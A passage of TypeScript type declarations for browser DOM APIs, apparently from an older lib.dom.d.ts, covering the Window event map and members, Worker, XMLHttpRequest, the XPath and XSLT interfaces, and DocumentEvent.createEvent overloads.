WheelEvent;\\n    readonly DOM_DELTA_LINE: number;\\n    readonly DOM_DELTA_PAGE: number;\\n    readonly DOM_DELTA_PIXEL: number;\\n};\\n\\ninterface WindowEventMap extends GlobalEventHandlersEventMap {\\n    \"abort\": UIEvent;\\n    \"afterprint\": Event;\\n    \"beforeprint\": Event;\\n    \"beforeunload\": BeforeUnloadEvent;\\n    \"blur\": FocusEvent;\\n    \"canplay\": Event;\\n    \"canplaythrough\": Event;\\n    \"change\": Event;\\n    \"click\": MouseEvent;\\n    \"compassneedscalibration\": Event;\\n    \"contextmenu\": PointerEvent;\\n    \"dblclick\": MouseEvent;\\n    \"devicelight\": DeviceLightEvent;\\n    \"devicemotion\": DeviceMotionEvent;\\n    \"deviceorientation\": DeviceOrientationEvent;\\n    \"drag\": DragEvent;\\n    \"dragend\": DragEvent;\\n    \"dragenter\": DragEvent;\\n    \"dragleave\": DragEvent;\\n    \"dragover\": DragEvent;\\n    \"dragstart\": DragEvent;\\n    \"drop\": DragEvent;\\n    \"durationchange\": Event;\\n    \"emptied\": Event;\\n    \"ended\": MediaStreamErrorEvent;\\n    \"error\": ErrorEvent;\\n    \"focus\": FocusEvent;\\n    \"hashchange\": HashChangeEvent;\\n    \"input\": Event;\\n    \"invalid\": Event;\\n    \"keydown\": KeyboardEvent;\\n    \"keypress\": KeyboardEvent;\\n    \"keyup\": KeyboardEvent;\\n    \"load\": Event;\\n    \"loadeddata\": Event;\\n    \"loadedmetadata\": Event;\\n    \"loadstart\": Event;\\n    \"message\": MessageEvent;\\n    \"mousedown\": MouseEvent;\\n    \"mouseenter\": MouseEvent;\\n    \"mouseleave\": MouseEvent;\\n    \"mousemove\": MouseEvent;\\n    \"mouseout\": MouseEvent;\\n    \"mouseover\": MouseEvent;\\n    \"mouseup\": MouseEvent;\\n    \"mousewheel\": WheelEvent;\\n    \"MSGestureChange\": MSGestureEvent;\\n    \"MSGestureDoubleTap\": MSGestureEvent;\\n    \"MSGestureEnd\": MSGestureEvent;\\n    \"MSGestureHold\": MSGestureEvent;\\n    \"MSGestureStart\": MSGestureEvent;\\n    \"MSGestureTap\": MSGestureEvent;\\n    \"MSInertiaStart\": MSGestureEvent;\\n    \"MSPointerCancel\": MSPointerEvent;\\n    \"MSPointerDown\": MSPointerEvent;\\n    \"MSPointerEnter\": MSPointerEvent;\\n    \"MSPointerLeave\": MSPointerEvent;\\n    \"MSPointerMove\": MSPointerEvent;\\n    \"MSPointerOut\": MSPointerEvent;\\n    \"MSPointerOver\": MSPointerEvent;\\n    \"MSPointerUp\": MSPointerEvent;\\n    \"offline\": Event;\\n    \"online\": Event;\\n    \"orientationchange\": Event;\\n    \"pagehide\": PageTransitionEvent;\\n    \"pageshow\": PageTransitionEvent;\\n    \"pause\": Event;\\n    \"play\": Event;\\n    \"playing\": Event;\\n    \"popstate\": PopStateEvent;\\n    \"progress\": ProgressEvent;\\n    \"ratechange\": Event;\\n    \"readystatechange\": ProgressEvent;\\n    \"reset\": Event;\\n    \"resize\": UIEvent;\\n    \"scroll\": UIEvent;\\n    \"seeked\": Event;\\n    \"seeking\": Event;\\n    \"select\": UIEvent;\\n    \"stalled\": Event;\\n    \"storage\": StorageEvent;\\n    \"submit\": Event;\\n    \"suspend\": Event;\\n    \"timeupdate\": Event;\\n    \"touchcancel\": TouchEvent;\\n    \"touchend\": TouchEvent;\\n    \"touchmove\": TouchEvent;\\n    \"touchstart\": TouchEvent;\\n    \"unload\": Event;\\n    \"volumechange\": Event;\\n    \"waiting\": Event;\\n}\\n\\ninterface Window extends EventTarget, WindowTimers, WindowSessionStorage, WindowLocalStorage, WindowConsole, GlobalEventHandlers, IDBEnvironment, WindowBase64, GlobalFetch {\\n    readonly applicationCache: ApplicationCache;\\n    readonly caches: CacheStorage;\\n    readonly clientInformation: Navigator;\\n    readonly closed: boolean;\\n    readonly crypto: Crypto;\\n    defaultStatus: string;\\n    readonly devicePixelRatio: number;\\n    readonly document: Document;\\n    readonly doNotTrack: string;\\n    event: Event | undefined;\\n    readonly external: External;\\n    readonly frameElement: Element;\\n    readonly frames: Window;\\n    readonly history: History;\\n    readonly innerHeight: number;\\n    readonly innerWidth: number;\\n    readonly isSecureContext: boolean;\\n    readonly length: number;\\n    readonly location: Location;\\n    readonly locationbar: BarProp;\\n    readonly menubar: BarProp;\\n    readonly msContentScript: ExtensionScriptApis;\\n    readonly msCredentials: MSCredentials;\\n    name: string;\\n    readonly navigator: Navigator;\\n    offscreenBuffering: string | boolean;\\n    onabort: (this: Window, ev: UIEvent) => any;\\n    onafterprint: (this: Window, ev: Event) => any;\\n    onbeforeprint: (this: Window, ev: Event) => any;\\n    onbeforeunload: (this: Window, ev: BeforeUnloadEvent) => any;\\n    onblur: (this: Window, ev: FocusEvent) => any;\\n    oncanplay: (this: Window, ev: Event) => any;\\n    oncanplaythrough: (this: Window, ev: Event) => any;\\n    onchange: (this: Window, ev: Event) => any;\\n    onclick: (this: Window, ev: MouseEvent) => any;\\n    oncompassneedscalibration: (this: Window, ev: Event) => any;\\n    oncontextmenu: (this: Window, ev: PointerEvent) => any;\\n    ondblclick: (this: Window, ev: MouseEvent) => any;\\n    ondevicelight: (this: Window, ev: DeviceLightEvent) => any;\\n    ondevicemotion: (this: Window, ev: DeviceMotionEvent) => any;\\n    ondeviceorientation: (this: Window, ev: DeviceOrientationEvent) => any;\\n    ondrag: (this: Window, ev: DragEvent) => any;\\n    ondragend: (this: Window, ev: DragEvent) => any;\\n    ondragenter: (this: Window, ev: DragEvent) => any;\\n    ondragleave: (this: Window, ev: DragEvent) => any;\\n    ondragover: (this: Window, ev: DragEvent) => any;\\n    ondragstart: (this: Window, ev: DragEvent) => any;\\n    ondrop: (this: Window, ev: DragEvent) => any;\\n    ondurationchange: (this: Window, ev: Event) => any;\\n    onemptied: (this: Window, ev: Event) => any;\\n    onended: (this: Window, ev: MediaStreamErrorEvent) => any;\\n    onerror: ErrorEventHandler;\\n    onfocus: (this: Window, ev: FocusEvent) => any;\\n    onhashchange: (this: Window, ev: HashChangeEvent) => any;\\n    oninput: (this: Window, ev: Event) => any;\\n    oninvalid: (this: Window, ev: Event) => any;\\n    onkeydown: (this: Window, ev: KeyboardEvent) => any;\\n    onkeypress: (this: Window, ev: KeyboardEvent) => any;\\n    onkeyup: (this: Window, ev: KeyboardEvent) => any;\\n    onload: (this: Window, ev: Event) => any;\\n    onloadeddata: (this: Window, ev: Event) => any;\\n    onloadedmetadata: (this: Window, ev: Event) => any;\\n    onloadstart: (this: Window, ev: Event) => any;\\n    onmessage: (this: Window, ev: MessageEvent) => any;\\n    onmousedown: (this: Window, ev: MouseEvent) => any;\\n    onmouseenter: (this: Window, ev: MouseEvent) => any;\\n    onmouseleave: (this: Window, ev: MouseEvent) => any;\\n    onmousemove: (this: Window, ev: MouseEvent) => any;\\n    onmouseout: (this: Window, ev: MouseEvent) => any;\\n    onmouseover: (this: Window, ev: MouseEvent) => any;\\n    onmouseup: (this: Window, ev: MouseEvent) => any;\\n    onmousewheel: (this: Window, ev: WheelEvent) => any;\\n    onmsgesturechange: (this: Window, ev: MSGestureEvent) => any;\\n    onmsgesturedoubletap: (this: Window, ev: MSGestureEvent) => any;\\n    onmsgestureend: (this: Window, ev: MSGestureEvent) => any;\\n    onmsgesturehold: (this: Window, ev: MSGestureEvent) => any;\\n    onmsgesturestart: (this: Window, ev: MSGestureEvent) => any;\\n    onmsgesturetap: (this: Window, ev: MSGestureEvent) => any;\\n    onmsinertiastart: (this: Window, ev: MSGestureEvent) => any;\\n    onmspointercancel: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerdown: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerenter: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerleave: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointermove: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerout: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerover: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerup: (this: Window, ev: MSPointerEvent) => any;\\n    onoffline: (this: Window, ev: Event) => any;\\n    ononline: (this: Window, ev: Event) => any;\\n    onorientationchange: (this: Window, ev: Event) => any;\\n    onpagehide: (this: Window, ev: PageTransitionEvent) => any;\\n    onpageshow: (this: Window, ev: PageTransitionEvent) => any;\\n    onpause: (this: Window, ev: Event) => any;\\n    onplay: (this: Window, ev: Event) => any;\\n    onplaying: (this: Window, ev: Event) => any;\\n    onpopstate: (this: Window, ev: PopStateEvent) => any;\\n    onprogress: (this: Window, ev: ProgressEvent) => any;\\n    onratechange: (this: Window, ev: Event) => any;\\n    onreadystatechange: (this: Window, ev: ProgressEvent) => any;\\n    onreset: (this: Window, ev: Event) => any;\\n    onresize: (this: Window, ev: UIEvent) => any;\\n    onscroll: (this: Window, ev: UIEvent) => any;\\n    onseeked: (this: Window, ev: Event) => any;\\n    onseeking: (this: Window, ev: Event) => any;\\n    onselect: (this: Window, ev: UIEvent) => any;\\n    onstalled: (this: Window, ev: Event) => any;\\n    onstorage: (this: Window, ev: StorageEvent) => any;\\n    onsubmit: (this: Window, ev: Event) => any;\\n    onsuspend: (this: Window, ev: Event) => any;\\n    ontimeupdate: (this: Window, ev: Event) => any;\\n    ontouchcancel: (ev: TouchEvent) => any;\\n    ontouchend: (ev: TouchEvent) => any;\\n    ontouchmove: (ev: TouchEvent) => any;\\n    ontouchstart: (ev: TouchEvent) => any;\\n    onunload: (this: Window, ev: Event) => any;\\n    onvolumechange: (this: Window, ev: Event) => any;\\n    onwaiting: (this: Window, ev: Event) => any;\\n    opener: any;\\n    orientation: string | number;\\n    readonly outerHeight: number;\\n    readonly outerWidth: number;\\n    readonly pageXOffset: number;\\n    readonly pageYOffset: number;\\n    readonly parent: Window;\\n    readonly performance: Performance;\\n    readonly personalbar: BarProp;\\n    readonly screen: Screen;\\n    readonly screenLeft: number;\\n    readonly screenTop: number;\\n    readonly screenX: number;\\n    readonly screenY: number;\\n    readonly scrollbars: BarProp;\\n    readonly scrollX: number;\\n    readonly scrollY: number;\\n    readonly self: Window;\\n    readonly speechSynthesis: SpeechSynthesis;\\n    status: string;\\n    readonly statusbar: BarProp;\\n    readonly styleMedia: StyleMedia;\\n    readonly toolbar: BarProp;\\n    readonly top: Window;\\n    readonly window: Window;\\n    URL: typeof URL;\\n    URLSearchParams: typeof URLSearchParams;\\n    Blob: typeof Blob;\\n    customElements: CustomElementRegistry;\\n    alert(message?: any): void;\\n    blur(): void;\\n    cancelAnimationFrame(handle: number): void;\\n    captureEvents(): void;\\n    close(): void;\\n    confirm(message?: string): boolean;\\n    departFocus(navigationReason: NavigationReason, origin: FocusNavigationOrigin): void;\\n    focus(): void;\\n    getComputedStyle(elt: Element, pseudoElt?: string): CSSStyleDeclaration;\\n    getMatchedCSSRules(elt: Element, pseudoElt?: string): CSSRuleList;\\n    getSelection(): Selection;\\n    matchMedia(mediaQuery: string): MediaQueryList;\\n    moveBy(x?: number, y?: number): void;\\n    moveTo(x?: number, y?: number): void;\\n    msWriteProfilerMark(profilerMarkName: string): void;\\n    open(url?: string, target?: string, features?: string, replace?: boolean): Window;\\n    postMessage(message: any, targetOrigin: string, transfer?: any[]): void;\\n    print(): void;\\n    prompt(message?: string, _default?: string): string | null;\\n    releaseEvents(): void;\\n    requestAnimationFrame(callback: FrameRequestCallback): number;\\n    resizeBy(x?: number, y?: number): void;\\n    resizeTo(x?: number, y?: number): void;\\n    scroll(x?: number, y?: number): void;\\n    scrollBy(x?: number, y?: number): void;\\n    scrollTo(x?: number, y?: number): void;\\n    stop(): void;\\n    webkitCancelAnimationFrame(handle: number): void;\\n    webkitConvertPointFromNodeToPage(node: Node, pt: WebKitPoint): WebKitPoint;\\n    webkitConvertPointFromPageToNode(node: Node, pt: WebKitPoint): WebKitPoint;\\n    webkitRequestAnimationFrame(callback: FrameRequestCallback): number;\\n    createImageBitmap(image: HTMLImageElement | SVGImageElement | HTMLVideoElement | HTMLCanvasElement | ImageBitmap | ImageData | Blob, options?: ImageBitmapOptions): Promise<ImageBitmap>;\\n    createImageBitmap(image: HTMLImageElement | SVGImageElement | HTMLVideoElement | HTMLCanvasElement | ImageBitmap | ImageData | Blob, sx: number, sy: number, sw: number, sh: number, options?: ImageBitmapOptions): Promise<ImageBitmap>;\\n    scroll(options?: ScrollToOptions): void;\\n    scrollTo(options?: ScrollToOptions): void;\\n    scrollBy(options?: ScrollToOptions): void;\\n    addEventListener<K extends keyof WindowEventMap>(type: K, listener: (this: Window, ev: WindowEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Window: {\\n    prototype: Window;\\n    new(): Window;\\n};\\n\\ninterface WorkerEventMap extends AbstractWorkerEventMap {\\n    \"message\": MessageEvent;\\n}\\n\\ninterface Worker extends EventTarget, AbstractWorker {\\n    onmessage: (this: Worker, ev: MessageEvent) => any;\\n    postMessage(message: any, transfer?: any[]): void;\\n    terminate(): void;\\n    addEventListener<K extends keyof WorkerEventMap>(type: K, listener: (this: Worker, ev: WorkerEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Worker: {\\n    prototype: Worker;\\n    new(stringUrl: string): Worker;\\n};\\n\\ninterface XMLDocument extends Document {\\n    addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: XMLDocument, ev: DocumentEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var XMLDocument: {\\n    prototype: XMLDocument;\\n    new(): XMLDocument;\\n};\\n\\ninterface XMLHttpRequestEventMap extends XMLHttpRequestEventTargetEventMap {\\n    \"readystatechange\": Event;\\n}\\n\\ninterface XMLHttpRequest extends EventTarget, XMLHttpRequestEventTarget {\\n    onreadystatechange: (this: XMLHttpRequest, ev: Event) => any;\\n    readonly readyState: number;\\n    readonly response: any;\\n    readonly responseText: string;\\n    responseType: XMLHttpRequestResponseType;\\n    readonly responseURL: string;\\n    readonly responseXML: Document | null;\\n    readonly status: number;\\n    readonly statusText: string;\\n    timeout: number;\\n    readonly upload: XMLHttpRequestUpload;\\n    withCredentials: boolean;\\n    msCaching?: string;\\n    abort(): void;\\n    getAllResponseHeaders(): string;\\n    getResponseHeader(header: string): string | null;\\n    msCachingEnabled(): boolean;\\n    open(method: string, url: string, async?: boolean, user?: string, password?: string): void;\\n    overrideMimeType(mime: string): void;\\n    send(data?: Document): void;\\n    send(data?: string): void;\\n    send(data?: any): void;\\n    setRequestHeader(header: string, value: string): void;\\n    readonly DONE: number;\\n    readonly HEADERS_RECEIVED: number;\\n    readonly LOADING: number;\\n    readonly OPENED: number;\\n    readonly UNSENT: number;\\n    addEventListener<K extends keyof XMLHttpRequestEventMap>(type: K, listener: (this: XMLHttpRequest, ev: XMLHttpRequestEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var XMLHttpRequest: {\\n    prototype: XMLHttpRequest;\\n    new(): XMLHttpRequest;\\n    readonly DONE: number;\\n    readonly HEADERS_RECEIVED: number;\\n    readonly LOADING: number;\\n    readonly OPENED: number;\\n    readonly UNSENT: number;\\n};\\n\\ninterface XMLHttpRequestUpload extends EventTarget, XMLHttpRequestEventTarget {\\n    addEventListener<K extends keyof XMLHttpRequestEventTargetEventMap>(type: K, listener: (this: XMLHttpRequestUpload, ev: XMLHttpRequestEventTargetEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var XMLHttpRequestUpload: {\\n    prototype: XMLHttpRequestUpload;\\n    new(): XMLHttpRequestUpload;\\n};\\n\\ninterface XMLSerializer {\\n    serializeToString(target: Node): string;\\n}\\n\\ndeclare var XMLSerializer: {\\n    prototype: XMLSerializer;\\n    new(): XMLSerializer;\\n};\\n\\ninterface XPathEvaluator {\\n    createExpression(expression: string, resolver: XPathNSResolver): XPathExpression;\\n    createNSResolver(nodeResolver?: Node): XPathNSResolver;\\n    evaluate(expression: string, contextNode: Node, resolver: XPathNSResolver | null, type: number, result: XPathResult | null): XPathResult;\\n}\\n\\ndeclare var XPathEvaluator: {\\n    prototype: XPathEvaluator;\\n    new(): XPathEvaluator;\\n};\\n\\ninterface XPathExpression {\\n    evaluate(contextNode: Node, type: number, result: XPathResult | null): XPathResult;\\n}\\n\\ndeclare var XPathExpression: {\\n    prototype: XPathExpression;\\n    new(): XPathExpression;\\n};\\n\\ninterface XPathNSResolver {\\n    lookupNamespaceURI(prefix: string): string;\\n}\\n\\ndeclare var XPathNSResolver: {\\n    prototype: XPathNSResolver;\\n    new(): XPathNSResolver;\\n};\\n\\ninterface XPathResult {\\n    readonly booleanValue: boolean;\\n    readonly invalidIteratorState: boolean;\\n    readonly numberValue: number;\\n    readonly resultType: number;\\n    readonly singleNodeValue: Node;\\n    readonly snapshotLength: number;\\n    readonly stringValue: string;\\n    iterateNext(): Node;\\n    snapshotItem(index: number): Node;\\n    readonly ANY_TYPE: number;\\n    readonly ANY_UNORDERED_NODE_TYPE: number;\\n    readonly BOOLEAN_TYPE: number;\\n    readonly FIRST_ORDERED_NODE_TYPE: number;\\n    readonly NUMBER_TYPE: number;\\n    readonly ORDERED_NODE_ITERATOR_TYPE: number;\\n    readonly ORDERED_NODE_SNAPSHOT_TYPE: number;\\n    readonly STRING_TYPE: number;\\n    readonly UNORDERED_NODE_ITERATOR_TYPE: number;\\n    readonly UNORDERED_NODE_SNAPSHOT_TYPE: number;\\n}\\n\\ndeclare var XPathResult: {\\n    prototype: XPathResult;\\n    new(): XPathResult;\\n    readonly ANY_TYPE: number;\\n    readonly ANY_UNORDERED_NODE_TYPE: number;\\n    readonly BOOLEAN_TYPE: number;\\n    readonly FIRST_ORDERED_NODE_TYPE: number;\\n    readonly NUMBER_TYPE: number;\\n    readonly ORDERED_NODE_ITERATOR_TYPE: number;\\n    readonly ORDERED_NODE_SNAPSHOT_TYPE: number;\\n    readonly STRING_TYPE: number;\\n    readonly UNORDERED_NODE_ITERATOR_TYPE: number;\\n    readonly UNORDERED_NODE_SNAPSHOT_TYPE: number;\\n};\\n\\ninterface XSLTProcessor {\\n    clearParameters(): void;\\n    getParameter(namespaceURI: string, localName: string): any;\\n    importStylesheet(style: Node): void;\\n    removeParameter(namespaceURI: string, localName: string): void;\\n    reset(): void;\\n    setParameter(namespaceURI: string, localName: string, value: any): void;\\n    transformToDocument(source: Node): Document;\\n    transformToFragment(source: Node, document: Document): DocumentFragment;\\n}\\n\\ndeclare var XSLTProcessor: {\\n    prototype: XSLTProcessor;\\n    new(): XSLTProcessor;\\n};\\n\\ninterface AbstractWorkerEventMap {\\n    \"error\": ErrorEvent;\\n}\\n\\ninterface AbstractWorker {\\n    onerror: (this: AbstractWorker, ev: ErrorEvent) => any;\\n    addEventListener<K extends keyof AbstractWorkerEventMap>(type: K, listener: (this: AbstractWorker, ev: AbstractWorkerEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ninterface Body {\\n    readonly bodyUsed: boolean;\\n    arrayBuffer(): Promise<ArrayBuffer>;\\n    blob(): Promise<Blob>;\\n    json(): Promise<any>;\\n    text(): Promise<string>;\\n    formData(): Promise<FormData>;\\n}\\n\\ninterface CanvasPathMethods {\\n    arc(x: number, y: number, radius: number, startAngle: number, endAngle: number, anticlockwise?: boolean): void;\\n    arcTo(x1: number, y1: number, x2: number, y2: number, radius: number): void;\\n    bezierCurveTo(cp1x: number, cp1y: number, cp2x: number, cp2y: number, x: number, y: number): void;\\n    closePath(): void;\\n    ellipse(x: number, y: number, radiusX: number, radiusY: number, rotation: number, startAngle: number, endAngle: number, anticlockwise?: boolean): void;\\n    lineTo(x: number, y: number): void;\\n    moveTo(x: number, y: number): void;\\n    quadraticCurveTo(cpx: number, cpy: number, x: number, y: number): void;\\n    rect(x: number, y: number, w: number, h: number): void;\\n}\\n\\ninterface ChildNode {\\n    remove(): void;\\n}\\n\\ninterface DocumentEvent {\\n    createEvent(eventInterface: \"AnimationEvent\"): AnimationEvent;\\n    createEvent(eventInterface: \"AudioProcessingEvent\"): AudioProcessingEvent;\\n    createEvent(eventInterface: \"BeforeUnloadEvent\"): BeforeUnloadEvent;\\n    createEvent(eventInterface: \"ClipboardEvent\"): ClipboardEvent;\\n    createEvent(eventInterface: \"CloseEvent\"): CloseEvent;\\n    createEvent(eventInterface: \"CompositionEvent\"): CompositionEvent;\\n    createEvent(eventInterface: \"CustomEvent\"): CustomEvent;\\n    createEvent(eventInterface: \"DeviceLightEvent\"): DeviceLightEvent;\\n    createEvent(eventInterface: \"DeviceMotionEvent\"): DeviceMotionEvent;\\n    createEvent(eventInterface: \"DeviceOrientationEvent\"): DeviceOrientationEvent;\\n    createEvent(eventInterface: \"DragEvent\"): DragEvent;\\n    createEvent(eventInterface: \"ErrorEvent\"): ErrorEvent;\\n    createEvent(eventInterface: \"Event\"): Event;\\n    createEvent(eventInterface: \"Events\"): Event;\\n    createEvent(eventInterface: \"FocusEvent\"): FocusEvent;\\n    createEvent(eventInterface: \"FocusNavigationEvent\"): FocusNavigationEvent;\\n    createEvent(eventInterface: \"GamepadEvent\"): GamepadEvent;\\n    createEvent(eventInterface: \"HashChangeEvent\"): HashChangeEvent;\\n    createEvent(eventInterface: \"IDBVersionChangeEvent\"): IDBVersionChangeEvent;\\n    createEvent(eventInterface: \"KeyboardEvent\"): KeyboardEvent;\\n    createEvent(eventInterface: \"ListeningStateChangedEvent\"): ListeningStateChangedEvent;\\n    createEvent(eventInterface: \"LongRunningScriptDetectedEvent\"): LongRunningScriptDetectedEvent;\\n    createEvent(eventInterface: \"MSGestureEvent\"): MSGestureEvent;\\n    createEvent(eventInterface: \"MSManipulationEvent\"): MSManipulationEvent;\\n    createEvent(eventInterface: \"MSMediaKeyMessageEvent\"): MSMediaKeyMessageEvent;\\n    createEvent(eventInterface: \"MSMediaKeyNeededEvent\"): MSMediaKeyNeededEvent;\\n    createEvent(eventInterface: \"MSPointerEvent\"): MSPointerEvent;\\n    createEvent(eventInterface: \"MSSiteModeEvent\"): MSSiteModeEvent;\\n    createEvent(eventInterface: \"MediaEncryptedEvent\"): MediaEncryptedEvent;\\n    createEvent(eventInterface: \"MediaKeyMessageEvent\"): MediaKeyMessageEvent;\\n    createEvent(eventInterface: \"MediaStreamErrorEvent\"): MediaStreamErrorEvent;\\n    createEvent(eventInterface: \"MediaStreamEvent\"): MediaStreamEvent;\\n    createEvent(eventInterface: \"MediaStreamTrackEvent\"): MediaStreamTrackEvent;\\n    createEvent(eventInterface: \"MessageEvent\"): MessageEvent;\\n    createEvent(eventInterface: \"MouseEvent\"): MouseEvent;\\n    createEvent(eventInterface: \"MouseEvents\"): MouseEvent;\\n    createEvent(eventInterface: \"MutationEvent\"): MutationEvent;\\n    createEvent(eventInterface: \"MutationEvents\"): MutationEvent;\\n    createEvent(eventInterface: \"NavigationCompletedEvent\"): NavigationCompletedEvent;\\n    createEvent(eventInterface: \"NavigationEvent\"): NavigationEvent;\\n    createEvent(eventInterface: \"NavigationEventWithReferrer\"): NavigationEventWithReferrer;\\n    createEvent(eventInterface: \"OfflineAudioCompletionEvent\"): OfflineAudioCompletionEvent;\\n    createEvent(eventInterface: \"OverflowEvent\"): OverflowEvent;\\n    createEvent(eventInterface: \"PageTransitionEvent\"): PageTransitionEvent;\\n    createEvent(eventInterface: \"PaymentRequestUpdateEvent\"): PaymentRequestUpdateEvent;\\n    createEvent(eventInterface: \"PermissionRequestedEvent\"): PermissionRequestedEvent;\\n    createEvent(eventInterface: \"PointerEvent\"): PointerEvent;\\n    createEvent(eventInterface: \"PopStateEvent\"): PopStateEvent;\\n    createEvent(eventInterface: \"ProgressEvent\"): ProgressEvent;\\n    createEvent(eventInterface: \"RTCDTMFToneChangeEvent\"): RTCDTMFToneChangeEvent;\\n    createEvent(eventInterface: \"RTCDtlsTransportStateChangedEvent\"): RTCDtlsTransportStateChangedEvent;\\n    createEvent(eventInterface: \"RTCIceCandidatePairChangedEvent\"): RTCIceCandidatePairChangedEvent;\\n    createEvent(eventInterface: \"RTCIceGathererEvent\"): RTCIceGathererEvent;\\n    createEvent(eventInterface: \"RTCIceTransportStateChangedEvent\"): RTCIceTransportStateChangedEvent;\\n    createEvent(eventInterface: \"RTCPeerConnectionIceEvent\"): RTCPeerConnectionIceEvent;\\n    createEvent(eventInterface: \"RTCSsrcConflictEvent\"): RTCSsrcConflictEvent;\\n    createEvent(eventInterface: \"SVGZoomEvent\"): SVGZoomEvent;\\n    createEvent(eventInterface: \"SVGZoomEvents\"): SVGZoomEvent;\\n    createEvent(eventInterface: \"ScriptNotifyEvent\"): ScriptNotifyEvent;\\n    createEvent(eventInterface: \"ServiceWorkerMessageEvent\"): ServiceWorkerMessageEvent;\\n    createEvent(eventInterface: \"SpeechSynthesisEvent\"): SpeechSynthesisEvent;\\n    createEvent(eventInterface: \"StorageEvent\"): StorageEvent;\\n    createEvent(eventInterface: \"TextEvent\"): TextEvent;\\n    createEvent(eventInterface: \"TouchEvent\"): TouchEvent;\\n    createEvent(eventInterface: \"TrackEvent\"): TrackEvent;\\n    createEvent(eventInterface: \"TransitionEvent\"): TransitionEvent;\\n    createEvent(eventInterface: \"UIEvent\"): UIEvent;\\n    createEvent(eventInterface: \"UIEvents\"): UIEvent;\\n    createEvent(eventInterface: \"UnviewableContentIdentifiedEvent\"): UnviewableContentIdentifiedEvent;\\n    createEvent(eventInterface: \"WebGLContextEvent\"): WebGLContextEvent;\\n    createEvent(eventInterface: \"WheelEvent\"): WheelEvent;\\n    createEvent(eventInterface: string): Event;\\n}\\n\\ninterface DOML2DeprecatedColorProperty {\\n    color: string;\\n}\\n\\ninterface DOML2DeprecatedSizeProperty {\\n    size: number;\\n}\\n\\ninterface ElementTraversal {\\n    readonly childElementCount: number;\\n    readonly firstElementChild: Element | null;\\n    readonly lastElementChild: Element | null;\\n    readonly nextElementSibling: Element | null;\\n    readonly previousElementSibling: Element | null;\\n}\\n\\ninterface GetSVGDocument {\\n    getSVGDocument(): Document;\\n}\\n\\ninterface GlobalEventHandlersEventMap {\\n    \"pointercancel\": PointerEvent;\\n    \"pointerdown\": PointerEvent;\\n    \"pointerenter\": PointerEvent;\\n    \"pointerleave\": PointerEvent;\\n    \"pointermove\": PointerEvent;\\n    \"pointerout\": PointerEvent;\\n    \"pointerover\": PointerEvent;\\n    \"pointerup\": PointerEvent;\\n    \"wheel\": WheelEvent;\\n}\\n\\ninterface GlobalEventHandlers {\\n    onpointercancel: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerdown: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerenter: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerleave: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointermove: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerout: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerover: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerup: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onwheel: (this: GlobalEventHandlers, ev: WheelEvent) => any;\\n    addEventListener<K extends keyof GlobalEventHandlersEventMap>(type: K, listener: (this: GlobalEventHandlers, ev: GlobalEventHandlersEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ninterface GlobalFetch {\\n    fetch(input: RequestInfo, init?: RequestInit): Promise<Response>;\\n}\\n\\ninterface HTMLTableAlignment {\\n    /**\\n     * Sets or retrieves a value that you can use to implement your own ch functionality for the object.\\n     */\\n    ch: string;\\n    /**\\n     * Sets or retrieves a value that you can use to implement your own chOff functionality for the object.\\n     */\\n    chOff: string;\\n    /**\\n     * Sets or retrieves how text and other content are vertically aligned within the object that contains them.\\n     */\\n    vAlign: string;\\n}\\n\\ninterface IDBEnvironment {\\n    readonly indexedDB: IDBFactory;\\n}\\n\\ninterface LinkStyle {\\n    readonly sheet: StyleSheet;\\n}\\n\\ninterface MSBaseReaderEventMap {\\n    \"abort\": Event;\\n    \"error\": ErrorEvent;\\n    \"load\": Event;\\n    \"loadend\": ProgressEvent;\\n    \"loadstart\": Event;\\n    \"progress\": ProgressEvent;\\n}\\n\\ninterface MSBaseReader {\\n    onabort: (this: MSBaseReader, ev: Event) => any;\\n    onerror: (this: MSBaseReader, ev: ErrorEvent) => any;\\n    onload: (this: MSBaseReader, ev: Event) => any;\\n    onloadend: (this: MSBaseReader, ev: ProgressEvent) => any;\\n    onloadstart: (this: MSBaseReader, ev: Event) => any;\\n    onprogress: (this: MSBaseReader, ev: ProgressEvent) => any;\\n    readonly readyState: number;\\n    readonly result: any;\\n    abort(): void;\\n    readonly DONE: number;\\n    readonly EMPTY: number;\\n    readonly LOADING: number;\\n    addEventListener<K extends keyof MSBaseReaderEventMap>(type: K, listener: (this: MSBaseReader, ev: MSBaseReaderEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ninterface MSFileSaver {\\n    msSaveBlob(blob: any, defaultName?: string): boolean;\\n    msSaveOrOpenBlob(blob: any, defaultName?: string): boolean;\\n}\\n\\ninterface MSNavigatorDoNotTrack 